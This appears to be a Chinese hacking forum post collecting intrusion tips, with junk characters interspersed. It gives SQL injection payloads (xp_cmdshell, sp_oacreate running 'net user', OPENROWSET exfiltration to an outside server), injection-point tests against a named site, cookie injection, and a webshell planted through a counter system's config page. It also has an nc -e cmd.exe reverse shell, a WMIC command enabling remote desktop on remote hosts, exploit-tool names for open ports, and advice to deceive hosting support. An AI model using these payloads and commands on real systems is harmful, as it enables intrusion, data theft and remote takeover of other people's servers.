SA点数据库分离技术相关 G' a: [3 k+ \, C8 i D
- K8 q" k1 o& N( }5 t6 w# |' f j8 ^ }; n% m
SA点数据库分离搞法+语句:3 e3 S/ {* c, j# s
1 s: }% R* G& O( Y" ~" I9 g注射点不显错,执行下面三条语句页面都返回正常。
% g5 ]! h, X4 w7 uand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
' t* ]. E8 ?& z1 hand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')- m$ l( @) c$ {. N- a$ i* ~
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell'); {: h# B) Z$ Y
可以列目录，判断系统为2000，web与数据库分离
! i8 _4 `/ m$ U6 h2 G* ~遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。
3 d7 N- W9 x1 L在注射点上执行
7 a- w* P; Q( L) edeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
- B' ~2 ~- q& P7 m, N页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP. z/ j: H7 J% c/ S# i% M( [ D
还有我用NC监听得其他端口都没有得到IP。
& y: N+ a* ]8 q5 u3 l, \9 A4 w$ v8 O2 z7 m3 ^& }
通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。% ] g* U, q9 L
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
. F( p4 ], R& P3 h- b, ]' R: t; U( T+ N$ S- u7 _% p
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--" }4 [! b' Z9 [/ U5 j" ?' e3 [
6 \/ H/ o1 [: M4 E. L* q, w
现在就猜想是不是数据库是内网而且不能连外网。* k, _ T2 ]. H" d* r8 R, a
5 a7 ]# R& x" {6 R0 x1 n, {6 Z# g' U" ] C
access导出txt文本代码
- D5 p& C# ^. i- M" B) |9 a4 b5 iSELECT * into [test.txt] in 'd:\web\' 'text;' from admin
8 y. P2 |& e6 U+ ^" l& _* N8 Y
& q% F( Q0 ]+ I5 D l4 G
/ f% ~2 B! h- H' X
( a; }7 ~% v1 e4 j7 `9 ~+ a9 O" A自动跳转到指定网站代码头
* l1 ~$ p0 Z6 {6 ?$ `<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>% X! ^. B2 i& u) x0 `$ p) p
; d# V( |# Z7 R! h3 @$ V
+ i* K6 L5 X2 S/ W4 N; q* s
入侵java or jsp站点时默认配置文件路径:
4 b7 Y+ Q9 E c" S\web-inf\web.xml
. `' `6 Y7 Y. F8 \* \tomcat下的配置文件位置:
2 Y- j6 O% [/ [* L/ i0 f\conf\server.xml (前面加上tomcat路径)
) F- |( c1 V+ Z; V: P. S\Tomcat 5.0\webapps\root\web-inf\struts-config.xml$ Q; l: b$ g: v
6 S7 V5 c; [6 f9 f) d. y( Y- j
9 k# s# M7 P. |
9 d9 `$ [: M7 ?* X# d# f检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:# o7 @' `" L" b1 r1 ^. D) L7 M
-1%239 f9 o: O2 _" p/ n; I# m9 W2 P
>
. \3 c V# W# F* o+ Z<& y$ m" n3 E7 E+ @
1'+or+'1'='1
# i* u9 t6 I( A& B; f: h1 K2 F2 Eid=8%bf2 X; a" m: o9 l3 [0 B9 {% |( x
4 B0 L. F5 {$ R" I0 a
全新注入点检测试法:3 |& b" ^+ q6 [# R- L
在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。
/ o* _) U2 x3 T8 }8 Z! T- w" v/ Q5 z4 S; E
在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。 a% C8 B) A- t/ e3 w
% `5 p/ f5 O9 }% Z- I
搜索型注入判断方法:( i3 Y( V- i- r- {. K
北京%' and '1'='1' and '%'='5 V& ~2 L0 w+ ]1 j2 M1 p* _
北京%' and '1'='2' and '%'='2 _7 P% m: @& R$ {& @
- }# v1 Z6 H% \8 G# G# ]( w! [7 u: {4 M, E& `8 k6 u) [' S( D
COOKIES注入:2 h$ A9 s* k; e8 l1 k9 E; a/ x7 y4 {4 E, E
2 E: E. i1 F. }1 [2 \javascript:alert(document.cookie="id="+escape("51 and 1=1"));
1 f9 A) ^; c/ W8 M# e( R2 T6 B3 Y4 p* j
5 L' Y$ f8 W! O n) M2000专业版查看本地登录用户命令:
; E# J* d: N" u, snet config workstation
7 W# G3 g9 Q( f. @8 G: F, @# c7 ~7 |" i# U5 d( e$ e
: ?, j% ?& P) F+ T2003下查看ipsec配置和默认防火墙配置命令:
. o4 T+ N* b; Q6 Z* snetsh firewall show config" r+ L( r" z: ?! c9 K; _
netsh ipsec static show all
4 I7 X" L; U" {/ G+ j5 }% b+ q& ?4 D' M! P/ ?+ c
不指派指定策略命令:, u, ~+ o6 `7 u) @5 b4 ?2 ]
netsh ipsec static set policy name=test assign=n (test是不指派的策略名)
% S1 k* L" j$ s( p3 v5 N3 Hnetsh ipsec static show policy all 显示策略名
. n& I1 c& X# p
) C$ h% _( z! n% ^7 u: K9 K( N$ w. Q" I3 Q# l" c% F* _% B
猜管理员后台小技巧:
9 ~9 T, {* h; A8 ?1 n, F4 Y8 Oadmin/left.asp
/ O1 Y! V3 s; g- a" W2 _' ?admin/main.asp' v. A) V N0 k) @/ }' W
admin/top.asp) n4 P4 E- N/ @& L+ K
admin/admin.asp ! a, z( Y$ Y8 F# r4 x$ }. Y
会现出菜单导航,然后迅雷下载全部链接
6 e* c; V& J0 H; ]
) c) _( Y% i, {0 _. q; M/ s2 q& v0 V4 {$ I' ~! y- H$ t
社会工程学:
! l* }, X6 ^1 b. V7 }; j用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
( _2 Y+ J0 Y8 {然后去骗客服1 B0 q u6 _) b, K+ E$ z
% Q$ ]7 G* A, X( [$ l( _ K' a9 P. P/ Y
- |# r2 C9 t; p& Q; k4 i统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码： ( y6 A& J& b- K$ d* T' V, f4 b
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">， ) |/ e- x# r+ t! {7 K( C6 h+ ]
存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。
# b5 ^. P! C5 t' v4 U' [% f2 \2 ^0 O
6 X& c. E( i: J' ?$ l5 @+ r
8 }' m! U2 a6 d/ Z4 u- D6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）
% t# ^, X/ D3 ?4 ~
$ l7 n$ m0 ?, Y5 Y4 o0 M, y
9 M0 Y( m- C8 z& j. ^: s6 o; i: O! B
CMD加密注册表位置
; \6 G$ A' c) P+ V/ g(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor( \4 ~2 R1 X, e/ f! d
AutoRun
2 V$ M3 m/ H, C/ u) p. U& K. H: x
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor* q( `" F" m5 A' T/ I+ r6 Z& R
AutoRun
7 @- Q, Y. R. I7 i8 e
% G) S- h) c* @$ ^8 z# A+ T0 u; P: L5 f
在找注入时搜索Hidden,把他改成test. G% N7 H. S7 `/ f/ a
# a3 A( j, r/ r& K B- e' f: \9 z
" m9 _6 _, w1 O
/ A4 g/ _# u3 u5 O& f
mstsc /v:IP /console 9 S% B6 q; y1 w7 {$ \+ U
) r5 ^; ?# B- {5 c, l4 X
4 k! K( _- f0 F: k* h一句话开3389:
$ n7 a% |5 W/ P5 a0 N
0 u, p4 h, c0 [+ {' K最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>
0 w @; U+ b# l! v. J! u/ ?- a! o开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.' \1 d3 G- u; V4 n, \1 ?
! e3 @$ } V. z. [0 ^7 v
" s3 t; Y4 | c7 Y! ?知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:1 c" ]+ N6 [+ C, e, |
Insert into admin(user,pwd) values('test','test')
1 k+ ]$ I) t, ?* `
. }1 O. Q9 y! F, \" f
$ s% ^' W% U# z+ xNC反弹4 h, z2 @& N: U4 _: k \
先在本机执行： nc -vv -lp 监听的端口 (自己执行)
; f, g$ s5 [5 z% q4 L* T然后在服务器上执行： nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
- q. B( z2 n- w1 U3 F! d6 q6 {5 A6 ]0 p- h0 o$ n$ n
9 ` k1 t7 S# z$ Y4 T, m. u' m
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题) ?/ o& }% [' D+ ^- t- P
# m, g6 t) e0 k$ k5 ~
有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录; A1 M$ }% q7 }/ W) Z( l( W
例如:
0 e' \' f8 X6 e" f! h, hsubst k: d:\www\ 用d盘www目录替代k盘
1 y: S+ n2 L9 T% i8 t* Msubst k: /d 解除K盘代替 |
匿名
发表于 2017-12-20 02:36:51
发表于 2012-9-15 14:41:29
收藏
支持
反对